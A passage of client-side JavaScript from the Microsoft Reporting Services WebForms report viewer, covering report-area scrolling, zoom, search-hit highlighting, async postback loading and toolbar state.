        var reportAreaElement = this.get_element();
        return reportAreaElement.style.overflow === "auto";
    },

    ScrollWebForm: function(navigationId)
    {
        window.location.replace("#" + navigationId);
    },

    CalculateElementOffset: function(elementId, zoomRate)
    {
        var scrollableArea = this.get_element();
        var iterator = $get(elementId);

        var totalTop = 0;
        var totalLeft = 0;

        // Sum the offsets until reaching the scroll container to find the total offset.
        // Firefox skips the visible container and goes straight to the table cell.
        while (iterator != null && iterator != scrollableArea && iterator != scrollableArea.parentNode)
        {
            totalTop += iterator.offsetTop;
            totalLeft += iterator.offsetLeft;

            iterator = iterator.offsetParent;
        }

        return { Left: totalLeft * zoomRate, Top: totalTop * zoomRate };
    },

    BringElementIntoView: function(elementId, initialScrollPosition)
    {
        var scrollableArea = this.get_element();
        var reportPage = this.GetReportPage();

        if (initialScrollPosition == null)
            initialScrollPosition = { Left: scrollableArea.scrollLeft, Top: scrollableArea.scrollTop };

        // Get the visible extents
        var visibleWidth = scrollableArea.offsetWidth;
        var visibleHeight = scrollableArea.offsetHeight;

        // Get the element position
        var elementPosition = this.CalculateElementOffset(elementId, reportPage.GetCurrentZoomFactor());

        // Assume the element is visible
        var newScrollTop = initialScrollPosition.Top;
        var newScrollLeft = initialScrollPosition.Left;

        // Check horizontal visibility
        if (newScrollLeft > elementPosition.Left || (newScrollLeft + visibleWidth) < elementPosition.Left)
        {
            // Set to centered
            newScrollLeft = elementPosition.Left - visibleWidth / 2;
        }

        // Check vertical visibility
        if (newScrollTop > elementPosition.Top || (newScrollTop + visibleHeight) < elementPosition.Top)
        {
            // Set to 1/3 down from the top
            newScrollTop = elementPosition.Top - visibleHeight / 3;
        }

        scrollableArea.scrollTop = newScrollTop;
        scrollableArea.scrollLeft = newScrollLeft;
    },

    HighlightNextSearchHit: function()
    {
        // Safety check for existence since this instance isn't called based off of an event on the report object
        var reportPage = this.GetReportPage();
        if (reportPage == null)
            return true;

        var targetId = reportPage.HighlightNextSearchHit();
        if (targetId == null)
            return false;

        if (this.CanScrollReportArea())
            this.BringElementIntoView(targetId, null);
        else
            this.ScrollWebForm(targetId);

        return true;
    },

    get_zoomLevel: function()
    {
        var reportPage = this.GetReportPage();
        if (reportPage != null)
            return reportPage.get_zoomLevel();
        else
            return 100;
    },

    set_zoomLevel: function(zoomValue)
    {
        // Safety check for existence since this instance isn't called based off of an event on the report object
        var reportPage = this.GetReportPage();
        if (reportPage != null)
            reportPage.set_zoomLevel(zoomValue);
    },

    OnScroll: function()
    {
        // FixedHeaders
        var reportPage = this.GetReportPage();
        if (reportPage)
        {
            reportPage.OnScroll();
        }

        // Keep track of the scroll position for the server control
        var serializedScrollPos = this._SerializeScrollPosition(this.get_scrollPosition());
        var scrollHiddenField = $get(this.ScrollPositionId);
        scrollHiddenField.value = serializedScrollPos;

        this.raisePropertyChanged("scrollPosition");
    },

    _OnUserCanceled: function()
    {
        this.m_userCanceled = true;
        
        var reportPage = this.GetReportPage();
        if(reportPage)
            reportPage._OnUserCanceled();
    },

    _DeserializeScrollPosition: function(serializedValue)
    {
        var top = 0;
        var left = 0;

        // Split the string
        var values = serializedValue.split(" ");
        if (values.length == 2)
        {
            // Parse the individual values as ints

            var i = parseInt(values[0], 10);
            if (!isNaN(i))
                left = i;

            i = parseInt(values[1], 10);
            if (!isNaN(i))
                top = i;
        }

        return new Sys.UI.Point(left, top);
    },

    _SerializeScrollPosition: function(scrollPoint)
    {
        return scrollPoint.x + " " + scrollPoint.y;
    },

    EnableDisableInput: function(shouldEnable)
    {
        var reportPage = this.GetReportPage();
        if (reportPage)
            reportPage.EnableDisableInput(shouldEnable);
    }
}

Microsoft.Reporting.WebFormsClient._ReportArea.registerClass("Microsoft.Reporting.WebFormsClient._ReportArea", Sys.UI.Control);

Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget = function(element)
{
    Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget.initializeBase(this, [element]);
    
    this.PostBackForAsyncLoad = null;
    this.m_asyncLoadDelegate = Function.createDelegate(this, this.TriggerPostBack);
    this.m_onAppLoadDelegate = Function.createDelegate(this, this.OnAppLoad);
    this.m_postBackTriggered = false;
}

Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget.prototype = 
{
    initialize : function()
    {
        Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget.callBaseMethod(this, "initialize");

        // Ensures that only one report viewer on the page causes a postback for async rendering.
        // Otherwise, multiple postback requests will be initiated and aborted if multiple async viewers
        // are on a single webform.
        if (!Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget.AsyncTriggerSelected)
        {
            Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget.AsyncTriggerSelected = true;

            Sys.Application.add_load(this.m_onAppLoadDelegate);
        }
    },

    dispose : function()
    {
        if (this.m_asyncLoadDelegate != null)
        {
            Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget.AsyncTriggerSelected = false;

            delete this.m_asyncLoadDelegate;
            this.m_asyncLoadDelegate = null;
        }

        if (this.m_onAppLoadDelegate != null)
        {
            Sys.Application.remove_load(this.m_onAppLoadDelegate);
            
            delete this.m_onAppLoadDelegate;
            this.m_onAppLoadDelegate = null;
        }

        Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget.callBaseMethod(this, "dispose");
    },
    
    OnAppLoad : function()
    {
        if (!this.m_postBackTriggered)
        {
            // Call async load on a timer to ensure that the entire Sys.Application.load event is executed
            // before triggering another postback.  During async postbacks, initialize gets called in its
            // own setTimeout, so this timer can't be fired until actually in the Sys.Application.load event.
            setTimeout(this.m_asyncLoadDelegate, 0);
        }
    },
    
    TriggerPostBack : function()
    {
        // Ensure only one async load target caused a postback.  Dispose should take care of this, but
        // check for safety in case of errors on the client.
        if (!this.m_postBackTriggered)
        {
            var isInAsyncPostBack = false;
            if (Sys.WebForms)
            {
                var pageRequestManager = Sys.WebForms.PageRequestManager.getInstance();
                isInAsyncPostBack = pageRequestManager.get_isInAsyncPostBack();
            }
            
            // Ensure nothing else caused an async postback already
            if (!isInAsyncPostBack)
            {
                this.PostBackForAsyncLoad();
                this.m_postBackTriggered = true;
                Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget.AsyncTriggerSelected = false;
            }
        }
    }    
}

Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget.registerClass("Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget", Sys.UI.Control);
DType.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._ReportPage = function(element)
{
    Microsoft.Reporting.WebFormsClient._ReportPage.initializeBase(this, [element]);

    // Script methods to invoke sync or async postbacks for interactivity
    this.TriggerSyncInteractivity = null;
    this.TriggerAsyncInteractivity = null;
    this.InteractivityMode = null;

    // Hidden fields to store interactivity info during the postback
    this.ActionTypeId = null;
    this.ActionParamId = null;

    this.SearchHitPrefix = null;
    this.m_nextSearchHit = 1;

    this.NavigationId = null;

    // MaintainPosition
    this.PreviousViewNavigationAlignmentId = null; // Try to align this.NavigationId to this id from the old page.

    // AvoidScrolling
    this.AvoidScrollChange = false;
    this.AvoidScrollFromOrigin = false;

    // Specific position scrolling
    this.SpecificScrollPosition = null;

    this.HiddenZoomLevelId = null;
    this.LoadMessage = null;

    this.ReportDivId = null;
    this.ReportCellId = null;
    this.ScrollableContainerId = null;

    this.m_allContentLoaded = false;
    this.m_loadDelegate = Function.createDelegate(this, this._PollForAllContentLoaded);

    this.ReportStyles = null;
    this.ReportPageStyles = null;
    this.StyleElementId = null;

    this.PrefixId = null;

    this.ScrollScript = null;
    this.m_fixedHeader = null;

    this.m_executingAction = null;
    this.m_toolbarUpdate = null;

    this.ConstFullPage = "FullPage";
    this.ConstPageWidth = "PageWidth";

    this.m_userCanceled = false;
}

Microsoft.Reporting.WebFormsClient._ReportPage.prototype =
{
    initialize: function()
    {
        Microsoft.Reporting.WebFormsClient._ReportPage.callBaseMethod(this, "initialize");

        // Don't update the DOM until the load event (causes a race condition in Firefox
        // with hash based scrolling between the location.replace and the browser page update).
        Sys.Application.add_load(this.m_loadDelegate);
    },

    dispose: function()
    {
        Sys.Application.remove_load(this.m_loadDelegate);
        delete this.m_loadDelegate;

        Microsoft.Reporting.WebFormsClient._ReportPage.callBaseMethod(this, "dispose");
    },

    // Custom accessor for complex object type (array)
    set_ToolBarUpdate: function(value) { this.m_toolbarUpdate = value; },
    get_ToolBarUpdate: function() { return this.m_toolbarUpdate; },

    // AllContentLoaded event - indicates that all content is loaded (may be none if there is no actual report page)
    add_allContentLoaded: function(handler)
    {
        this.get_events().addHandler("allContentLoaded", handler);
    },
    remove_allContentLoaded: function(handler)
    {
        this.get_events().removeHandler("allContentLoaded", handler);
    },

    IsLoading: function()
    {
        return !this.m_allContentLoaded;
    },

    _OnUserCanceled: function()
    {
        this.m_userCanceled = true;
    },

    _PollForAllContentLoaded: function()
    {
        if (this.m_userCanceled)
        {
            // user has decided to cancel loading this report, so force the browsers to stop loading the images
            if (this.ReportDivId)
            {
                var reportDiv = $get(this.ReportDivId);

                if (reportDiv)
                {
                    // this will force IE and FireFox to stop loading all
                    // images from the reportDiv on down
                    reportDiv.innerHTML = "";
                }
            }

            return;
        }

        // Validate that the report content is loaded if there is report content
        if (this.ReportDivId != null)
        {
            // A report page is not loaded until all of the images are
            var reportDiv = $get(this.ReportDivId);

            // It's possible for the user to cause postbacks so rapidly that this method
            // is being called against the nth postback while the nth+1's ReportDiv has been
            // loaded. This will lead to a null ref exception against reportDiv, as this
            // code is trying to load a ReportDiv that no longer exists.
            // This happens very rarely, and only under ideal conditions when postbacks
            // can be triggered very rapidly. But still checking if we actually got a report div
            // here just to be safe.
            if (reportDiv)
            {
                var images = reportDiv.getElementsByTagName("IMG");

                for (var i = 0; i < images.length; i++)
                {
                    var img = images[i];
                    if (!img.complete && !img.errored)
                    {
                        setTimeout(Function.createDelegate(this, this._PollForAllContentLoaded), 250);
                        return;
                    }
                }
            }
        }

        this._OnAllContentLoaded();
    },

    _OnAllContentLoaded: function()
    {
        if (this.m_allContentLoaded)
            return;
        this.m_allContentLoaded = true;

        // Raise content changed event
        var handler = this.get_events().getHandler("allContentLoaded");
        if (handler)
            handler(this);
    },

    OnReportVisible: function()
    {
        this._OutputStyleStream();
        this._UpdateRenderer();
        this._ApplyZoom(this.get_zoomLevel());
    },

    _OutputStyleStream: function()
    {
        var headElementsCollection = document.getElementsByTagName("HEAD");
        var headElement = null;

        // Ensure the HEAD element exists.  If not, create one.
        if (headElementsCollection.length == 0)
        {
            headElement = document.createElement("HEAD");
            document.documentElement.insertBefore(headElement, document.documentElement.firstChild);
        }
        else
            headElement = headElementsCollection[0];

        var oldStyleElement = document.getElementById(this.StyleElementId);

        // Remove the current STYLE element, if it already exists.
        if (oldStyleElement != null)
            headElement.removeChild(oldStyleElement);

        if (this.ReportDivId)
        {
            var reportDiv = $get(this.ReportDivId);
            var pageStyleContainerId = reportDiv.parentNode.id;
            if (pageStyleContainerId)
            {
                var pageStyles = this.ReportPageStyles;
                if (!pageStyles)
                    pageStyles = "";
                var pageStyle = "#" + pageStyleContainerId + " { " + pageStyles + "}";
                if (this.ReportStyles)
                    this.ReportStyles += pageStyle;
                else
                    this.ReportStyles = pageStyle;

                // When the viewer had an iFrame,
                // fonts would fall back to Times New Roman as that is the browser default. 
                // Now that we render as part of the page, they fall back to whatever
                // is defind in the stylesheet for the page, in the case of
                // ReportManager/Server, that is verdana. We want to maintain
                // falling back to Times New Roman, so inject that font style here
                // if an element in the report specifies a font that can't be found,
                // the browser will work up the parent chain and get here to find TNR
                this.ReportStyles += " #" + this.ReportDivId + ", #" + this.ReportDivId + " TABLE { font-family: Times New Roman; }";
            }
        }

        // If we have any styles, create a STYLE element
        // using the styles and place it in the page head.
        if (this.ReportStyles != null)
        {
            var newStyleElement = document.createElement("STYLE");
            newStyleElement.type = "text/css";
            newStyleElement.id = this.StyleElementId;

            if (newStyleElement.styleSheet != null)
                newStyleElement.styleSheet.cssText = this.ReportStyles;
            else
                newStyleElement.appendChild(document.createTextNode(this.ReportStyles));

            headElement.appendChild(newStyleElement);
        }

    },

    OnReportScrolled: function()
    {
        if (this.LoadMessage != null)
            alert(this.LoadMessage);
    },

    InvokeReportAction: function(actionType, actionParam)
    {
        if (!this._IsInputDisabled())
        {
            // Save interactivity info for postback
            $get(this.ActionTypeId).value = actionType;
            $get(this.ActionParamId).value = this._TranslateAction(actionType, actionParam);

            if (this.InteractivityMode === "AlwaysSynchronous" ||
                (this.InteractivityMode === "SynchronousOnDrillthrough" && actionType === "Drillthrough"))
            {
                this.TriggerSyncInteractivity();
            }
            else
                this.TriggerAsyncInteractivity();
        }
    },

    HighlightNextSearchHit: function()
    {
        if (this.SearchHitPrefix == null)
            return null;

        // Unhighlight previous hit, if any.
        if (this.m_nextSearchHit > 0)
        {
            var name = this.SearchHitPrefix + (this.m_nextSearchHit - 1);
            var hitElem = $get(name);
            var count = 0;
            // Clean up the background for a find across multiple textRuns
            while (hitElem != null)
            {
                hitElem.style.backgroundColor = "";
                hitElem.style.color = "";
                hitElem = $get(name + "_" + (++count));
            }
        }

        // Highlight current hit and navigate to it.
        var name = this.SearchHitPrefix + (this.m_nextSearchHit);
        var hitElem = $get(name);
        if (hitElem == null)
            return null;
        var count = 0;
        // Clean up the background for a find across multiple textRuns
        while (hitElem != null)
        {
            hitElem.style.backgroundColor = "highlight";
            hitElem.style.color = "highlighttext";
            hitElem = $get(name + "_" + (++count));
        }

        this.m_nextSearchHit++;

        // Return the navigation target
        return name;
    },

    _ApplyZoom: function(zoomValue)
    {
        // Get the report cell
        if (this.ReportCellId == null)
            return;
        var reportCell = $get(this.ReportCellId);

        if ((zoomValue != this.ConstPageWidth) && (zoomValue != this.ConstFullPage))
            reportCell.style.zoom = zoomValue + "%";
        else
        {
            var scrollContainer = $get(this.ScrollableContainerId);
            if (scrollContainer == null || scrollContainer.style.overflow != "auto")
                return;

            if (zoomValue != this.ConstPageWidth)
            {
                if ((reportCell.offsetWidth * scrollContainer.offsetHeight) < (reportCell.offsetHeight * scrollContainer.offsetWidth))
                    this._ApplyCalculatedZoom(reportCell, scrollContainer.offsetHeight, reportCell.offsetHeight);
                else
                    this._ApplyCalculatedZoom(reportCell, scrollContainer.offsetWidth, reportCell.offsetWidth);
            }
            else
            {
                var vbar = scrollContainer.offsetHeight != scrollContainer.clientHeight;
                var proceed = (reportCell.offsetWidth > 0);
                for (var iter = 0; (iter <= 1) & proceed; ++iter)
                {
                    zoomValue = this._ApplyCalculatedZoom(reportCell, scrollContainer.clientWidth, reportCell.offsetWidth);
                    proceed = vbar != ((reportCell.offsetHeight * zoomValue) > scrollContainer.offsetHeight);
                }
            }
        }

        //Recalc imageconsolidation for IE7.  
        //IE7 standards uses absolutely positioned images that need to scale with zoom.
        //IE7/8 quirks and IE8 standards automatically scale the images.
        if (Microsoft_ReportingServices_HTMLRenderer_ScaleImageUpdateZoom)
        {
            if (_$RVCommon.isPreIE8StandardsMode())
            {
                var fitProp = new Microsoft_ReportingServices_HTMLRenderer_FitProportional();
                fitProp.ResizeImages(this.ReportDivId, this.ReportCellId);
                Microsoft_ReportingServices_HTMLRenderer_ScaleImageUpdateZoom(this.PrefixId, this.ReportDivId, this.ReportCellId);
            }
        }

        this.OnScroll();
    },

    // Set a zoom value that is calculated based on the report width/height
    _ApplyCalculatedZoom: function(reportCell, div, rep)
    {
        if (rep <= 0)
            return 1.0;
        var z = (div - 1) / rep;
        reportCell.style.zoom = z;
        return z;
    },

    // Gets the actual current zoom value as a fraction (1.0, 2.0, etc) regardless of whether
    // the zoom mode is percentage or FullPage/PageWidth
    GetCurrentZoomFactor: function()
    {
        return this.GetZoomFromReportCell(this.ReportCellId);
    },

    GetZoomFromReportCell: function(cellId)
    {
        var reportCell = $get(cellId);

        // If very rapid postbacks are occuring, it's possible
        // to end up in a situation where cellId refers to an element
        // that no longer exists (it's been replaced with new content and
        // the script descriptors have not ran to update the client side objects)
        // so checking if reportCell is null before proceeding here.
        if (reportCell)
        {
            var zoomStr = reportCell.style.zoom;
            if (zoomStr != "" && zoomStr != null)
            {
                zoomStr = zoomStr.substr(0, zoomStr.length - 1); // Remove % sign
                return zoomStr / 100.0;
            }
        }

        return 1.0;
    },

    get_zoomLevel: function()
    {
        var hiddenZoomLevelElement = $get(this.HiddenZoomLevelId);
        return hiddenZoomLevelElement.value;
    },

    set_zoomLevel: function(newZoomLevel)
    {
        // Validate newZoomLevel
        if (newZoomLevel != this.ConstPageWidth && newZoomLevel != this.ConstFullPage)
        {
            // Validate percentage zoom
            var newZoomAsInt = parseInt(newZoomLevel, 10)
            if (isNaN(newZoomAsInt) || newZoomAsInt <= 0)
                throw Error.argumentOutOfRange("zoomLevel", newZoomLevel, "The zoom level must be a positive integer or '" + this.ConstPageWidth + "' or '" + this.ConstFullPage + "'.");
            else
                newZoomLevel = newZoomAsInt; // Normalize the value
        }

        // Apply the zoom value
        this._ApplyZoom(newZoomLevel);

        // Save the value for the postback
        var hiddenZoomLevelElement = $get(this.HiddenZoomLevelId);
        hiddenZoomLevelElement.value = newZoomLevel;
    },

    //FitProportional
    _UpdateRenderer: function()
    {
        if (this.ReportDivId)
        {
            var fitProp = new Microsoft_ReportingServices_HTMLRenderer_FitProportional();
            fitProp.ResizeImages(this.ReportDivId, this.ReportCellId);

            if (Microsoft_ReportingServices_HTMLRenderer_ScaleImageConsolidation)
                Microsoft_ReportingServices_HTMLRenderer_ScaleImageConsolidation(this.PrefixId, this.ReportDivId, this.ReportCellId);

            if (Microsoft_ReportingServices_HTMLRenderer_ScaleImageForFit)
                Microsoft_ReportingServices_HTMLRenderer_ScaleImageForFit(this.PrefixId, this.ReportDivId);

            if (Microsoft_ReportingServices_HTMLRenderer_GrowRectangles)
                Microsoft_ReportingServices_HTMLRenderer_GrowRectangles(this.PrefixId, this.ReportDivId);

            if (Microsoft_ReportingServices_HTMLRenderer_FitVertText)
                Microsoft_ReportingServices_HTMLRenderer_FitVertText(this.PrefixId, this.ReportDivId);
        }
    },

    OnScroll: function()
    {
        if (this.ScrollScript)
        {
            var firstTime = !this.m_fixedHeader;
            if (firstTime)
            {
                this.m_fixedHeader = new Microsoft_ReportingServices_HTMLRenderer_FixedHeader(this.ReportDivId, this.ReportCellId,
                    $get(this.ReportDivId).parentNode.id, this.PrefixId);
            }
            this.ScrollScript(firstTime);
        }
    },

    EnableDisableInput: function(shouldEnable)
    {
        if (shouldEnable)
            this.m_executingAction = null;
        else
            this.m_executingAction = true;
    },

    _IsInputDisabled: function()
    {
        return this.m_executingAction == true;
    },

    _TranslateAction: function(actionType, actionParam)
    {
        var completeActionParam;
        if (actionType == "Sort")
        {
            if (window.event && window.event.shiftKey)
                completeActionParam = actionParam + "_T";
            else
                completeActionParam = actionParam + "_F";
        }
        else
            completeActionParam = actionParam;

        return completeActionParam;
    }
}

Microsoft.Reporting.WebFormsClient._ReportPage.registerClass("Microsoft.Reporting.WebFormsClient._ReportPage", Sys.UI.Control);

MType.registerNamespace("Microsoft.Reporting.WebFormsClient");

Microsoft.Reporting.WebFormsClient._Toolbar = function (element)
{
    Microsoft.Reporting.WebFormsClient._Toolbar.initializeBase(this, [element]);

    this.m_reportViewer = null;
    this.m_onReportViewerLoadingChangedDelegate = Function.createDelegate(this, this.OnReportViewerLoadingChanged);
    this.m_onReportAreaContentChangedDelegate = Function.createDelegate(this, this.OnReportAreaContentChanged);

    // Page Nav
    this.CurrentPage = 0;
    this.TotalPages = 0;
    this.IsEstimatePageCount = true;
    this.m_currentPageTextBox = null;
    this.m_totalPagesLabel = null;
    this.m_firstPageNavButton = null;
    this.m_prevPageNavButton = null;
    this.m_nextPageNavButton = null;
    this.m_lastPageNavButton = null;
    this.InvalidPageNumberMessage = null;
    this.OnCurrentPageClick = null;

    // Drillthrough Back
    this.IsDrillthroughReport = false;
    this.m_drillBackButton = null;

    // Refresh
    this.m_refreshButton = null;
    this.m_onRefreshClickDelegate = Function.createDelegate(this, this.OnRefreshClick);

    // Zoom
    this.m_zoomDropDown = null;
    this.m_zoomSelectionChangeDelegate = Function.createDelegate(this, this.OnZoomSelectionChanged);
    this.m_externalZoomChangeDelegate = Function.createDelegate(this, this.OnZoomChangedExternal);

    // Find
    this.m_findTextBox = null;
    this.m_findButton = null;
    this.m_findNextButton = null;
    this.CanFindNext = false;
    this.FindTextBoxPollInterval = null;
    this.m_onFindTextChangeDelegate = Function.createDelegate(this, this.OnFindTextChanged);
    this.m_onFindTextFocusDelegate = Function.createDelegate(this, this.OnFindTextFocus);
    this.m_onFindTextBlurDelegate = Function.createDelegate(this, this.OnFindTextBlur);
    this.m_enableDisableFindButtonsDelegate = Function.createDelegate(this, this.CheckEnableDisableFindButtons);
    this.m_onFindClickDelegate = Function.createDelegate(this, this.OnFindClick);
    this.m_onFindNextClickDelegate = Function.createDelegate(this, this.OnFindNextClick);

    // Export
    this.m_exportButton = null;

    // Print
    this.m_printButton = null;
    this.m_onPrintClickDelegate = Function.createDelegate(this, this.OnPrintClick);

    this.m_isFirstEnable = true;
}

Microsoft.Reporting.WebFormsClient._Toolbar.prototype =
{
    initialize: function ()
    {
        Microsoft.Reporting.WebFormsClient._Toolbar.callBaseMethod(this, "initialize");

        // Assumes viewer was created first
        this.m_reportViewer.add_propertyChanged(this.m_onReportViewerLoadingChangedDelegate);
        this.m_reportViewer.add_propertyChanged(this.m_onReportAreaContentChangedDelegate);

        // Don't postback the zoom dropdown.  It isn't used on the server and can cause event
        // validation to fail in some cases, such as when a custom value is added to the dropdown
        // on the client.
        if (this.m_zoomDropDown != null)
            this.m_zoomDropDown.name = null;
    },

    dispose: function ()
    {
        if (this.FindTextBoxPollInterval != null)
        {
            clearInterval(this.FindTextBoxPollInterval);
        }

        Microsoft.Reporting.WebFormsClient._Toolbar.callBaseMethod(this, "dispose");

        // Disconnect from the report viewer
        if (this.m_reportViewer != null)
        {
            this.m_reportViewer.remove_propertyChanged(this.m_onReportViewerLoadingChangedDelegate);
            this.m_reportViewer.remove_propertyChanged(this.m_onReportAreaContentChangedDelegate);
            this.m_reportViewer.remove_propertyChanged(this.m_externalZoomChangeDelegate);
        }

        if (this.m_currentPageTextBox != null)
        {
            $clearHandlers(this.m_currentPageTextBox);

            this.m_currentPageTextBox = null;
            this.m_totalPagesLabel = null;
            this.m_firstPageNavButton = null;
            this.m_prevPageNavButton = null;
            this.m_nextPageNavButton = null;
            this.m_lastPageNavButton = null;
        }

        if (this.m_findTextBox != null)
        {
            $clearHandlers(this.m_findTextBox);

            this.m_findTextBox = null;
            this.m_findButton = null;
            this.m_findNextButton = null;
        }

        this.m_drillBackButton = null;
        this.m_zoomDropDown = null;
        this.m_refreshButton = null;
        this.m_exportButton = null;
        this.m_printButton = null;
        this.m_atomDataFeedButton = null;

        // Delete all the delegates
        if (this.m_onFindTextChangeDelegate != null)
        {
            delete this.m_onFindTextChangeDelegate;
            this.m_onFindTextChangeDelegate = null;

            delete this.m_onFindTextFocusDelegate;
            this.m_onFindTextFocusDelegate = null;

            delete this.m_onFindTextBlurDelegate;
            this.m_onFindTextBlurDelegate = null;

            delete this.m_enableDisableFindButtonsDelegate;
            this.m_enableDisableFindButtonsDelegate = null;

            delete this.m_onFindClickDelegate;
            this.m_onFindClickDelegate = null;

            delete this.m_onFindNextClickDelegate;
            this.m_onFindNextClickDelegate = null;

            delete this.m_zoomSelectionChangeDelegate;
            this.m_zoomSelectionChangeDelegate = null;

            delete this.m_externalZoomChangeDelegate;
            this.m_externalZoomChangeDelegate = null;

            delete this.m_onPrintClickDelegate;
            this.m_onPrintClickDelegate = null;

            delete this.m_onRefreshClickDelegate;
            this.m_onRefreshClickDelegate = null;

            delete this.m_onReportViewerLoadingChangedDelegate;
            this.m_onReportViewerLoadingChangedDelegate = null;

            delete this.m_onReportAreaContentChangedDelegate;
            this.m_onReportAreaContentChangedDelegate = null;
        }
    },

    set_CurrentPageTextBox: function (value) { this.m_currentPageTextBox = value; },
    get_CurrentPageTextBox: function () { return this.m_currentPageTextBox; },
    set_TotalPagesLabel: function (value) { this.m_totalPagesLabel = value; },
    get_TotalPagesLabel: function () { return this.m_totalPagesLabel; },
    set_FirstPageNavButton: function (value) { this.m_firstPageNavButton = value; },
    get_FirstPageNavButton: function () { return this.m_firstPageNavButton; },
    set_PrevPageNavButton: function (value) { this.m_prevPageNavButton = value; },
    get_PrevPageNavButton: function () { return this.m_prevPageNavButton; },
    set_NextPageNavButton: function (value) { this.m_nextPageNavButton = value; },
    get_NextPageNavButton: function () { return this.m_nextPageNavButton; },
    set_LastPageNavButton: function (value) { this.m_lastPageNavButton = value; },
    get_LastPageNavButton: function () { return this.m_lastPageNavButton; },

    set_FindTextBox: function (value) { this.m_findTextBox = value; },
    get_FindTextBox: function () { return this.m_findTextBox; },
    set_FindButton: function (value) { this.m_findButton = value; },
    get_FindButton: function () { return this.m_findButton; },
    set_FindNextButton: function (value) { this.m_findNextButton = value; },
    get_FindNextButton: function () { return this.m_findNextButton; },

    set_ZoomDropDown: function (value) { this.m_zoomDropDown = value; },
    get_ZoomDropDown: function () { return this.m_zoomDropDown; },
    set_RefreshButton: function (value) { this.m_refreshButton = value; },
    get_RefreshButton: function () { return this.m_refreshButton; },
    set_DrillBackButton: function (value) { this.m_drillBackButton = value; },
    get_DrillBackButton: function () { return this.m_drillBackButton; },
    set_ExportButton: function (value) { this.m_exportButton = value; },
    get_ExportButton: function () { return this.m_exportButton; },
    set_PrintButton: function (value) { this.m_printButton = value; },
    get_PrintButton: function () { return this.m_printButton; },
    set_AtomDataFeedButton: function (value) { this.m_atomDataFeedButton = value; },
    get_AtomDataFeedButton: function () { return this.m_atomDataFeedButton; },

    set_ReportViewer: function (value)
    {
        this.m_reportViewer = value;
    },

    ConnectEventHandlers: function ()
    {
        // PageNav
        if (this.m_currentPageTextBox != null)
        {
            $addHandlers(this.m_currentPageTextBox,
                { "keypress": this.OnCurrentPageKeyPress },
                this);
        }

        // Find
        if (this.m_findTextBox != null)
        {
            // onpropertychange is an IE only event, if it does not exist we use polling on onfocus instead.
            if (typeof this.m_findTextBox.onpropertychange != 'undefined')
            {
                this.m_findTextBox.onpropertychange = this.m_onFindTextChangeDelegate;
            }
            else
            {
                this.m_findTextBox.onfocus = this.m_onFindTextFocusDelegate;
                this.m_findTextBox.onblur = this.m_onFindTextBlurDelegate;
            }

            $addHandlers(this.m_findTextBox,
                { "keypress": this.OnFindTextKeyPress },
                this);

            this.m_findButton.control.OnClickScript = this.m_onFindClickDelegate;

            this.m_findNextButton.control.OnClickScript = this.m_onFindNextClickDelegate;
        }

        // Zoom
        if (this.m_zoomDropDown != null)
        {
            this.m_zoomDropDown.onchange = this.m_zoomSelectionChangeDelegate;

            this.m_reportViewer.add_propertyChanged(this.m_externalZoomChangeDelegate);
        }

        // Print
        if (this.m_printButton != null)
            this.m_printButton.control.SetOnClickHandler(true, this.m_onPrintClickDelegate);

        // Refresh
        if (this.m_refreshButton != null)
            this.m_refreshButton.control.SetOnClickHandler(true, this.m_onRefreshClickDelegate);
    },

    OnReportViewerLoadingChanged: function (sender, e)
    {
        if (e.get_propertyName() == "isLoading")
        {
            var isLoading = this.m_reportViewer.get_isLoading();

            this.EnableDisable(!isLoading);
        }
    },

    OnReportAreaContentChanged: function (sender, e)
    {
        if (e.get_propertyName() == "reportAreaContentType")
        {
            var updateProperties = this.m_reportViewer._get_toolBarUpdate();
            if (updateProperties != null)
                this.UpdateForNewReportPage(updateProperties);
        }
    },

    EnableDisable: function (forEnable)
    {
        if (forEnable)
        {
            if (this.m_isFirstEnable)
            {
                this.ConnectEventHandlers();
                this.m_isFirstEnable = false;
            }
        }

        // Enable/Disable UI elements.  If enabling and about to trigger a postback
        // (which would just disable things again), skip the enable.
        if (!forEnable || !Microsoft.Reporting.WebFormsClient._ReportAreaAsyncLoadTarget.AsyncTriggerSelected)
        {
            var reportAreaContentType = Microsoft.Reporting.WebFormsClient.ReportAreaContent.None;
            if (forEnable)
            {
                // Only get the content type if we are enabling the toolbar.  Otherwise it isn't available yet.
                reportAreaContentType = this.m_reportViewer.get_reportAreaContentType();
            }
            var isDisplayingReportPage = reportAreaContentType == Microsoft.Reporting.WebFormsClient.ReportAreaContent.ReportPage;

            // this is a rather implicit way to determine if the user canceled a report rendering
            // if the viewer is no longer loading and the viewer has no content, then the only way that is possible is if the user
            // canceled the request.
            var canceled = !this.m_reportViewer.get_isLoading() && reportAreaContentType == Microsoft.Reporting.WebFormsClient.ReportAreaContent.None;

            // Drillthrough Back
            // it should be enabled if this is a drillthrough report and the whole toolbar is enabled or the viewer is in the canceled state
            var enableBack =
                (forEnable ||
                canceled) &&
                this.IsDrillthroughReport;
            this.EnableDisableImage(this.m_drillBackButton, enableBack);

            // Refresh
            // should always be enabled if the user has put the viewer in a canceled state
            var enableRefresh =
                (forEnable &&
                (isDisplayingReportPage ||
                 reportAreaContentType == Microsoft.Reporting.WebFormsClient.ReportAreaContent.Error)) ||
                 canceled;
            this.EnableDisableImage(this.m_refreshButton, enableRefresh);

            // Page Nav
            var canPageNav = reportAreaContentType == Microsoft.Reporting.WebFormsClient.ReportAreaContent.ReportPage;
            var canPageNavBackward = canPageNav && this.CurrentPage > 1;
            var canPageNavForward = canPageNav && (this.CurrentPage < this.TotalPages || this.IsEstimatePageCount);
            this.EnableDisableWebControl(this.m_currentPageTextBox, isDisplayingReportPage);
            this.EnableDisableImage(this.m_firstPageNavButton, isDisplayingReportPage && canPageNavBackward);
            this.EnableDisableImage(this.m_prevPageNavButton, isDisplayingReportPage && canPageNavBackward);
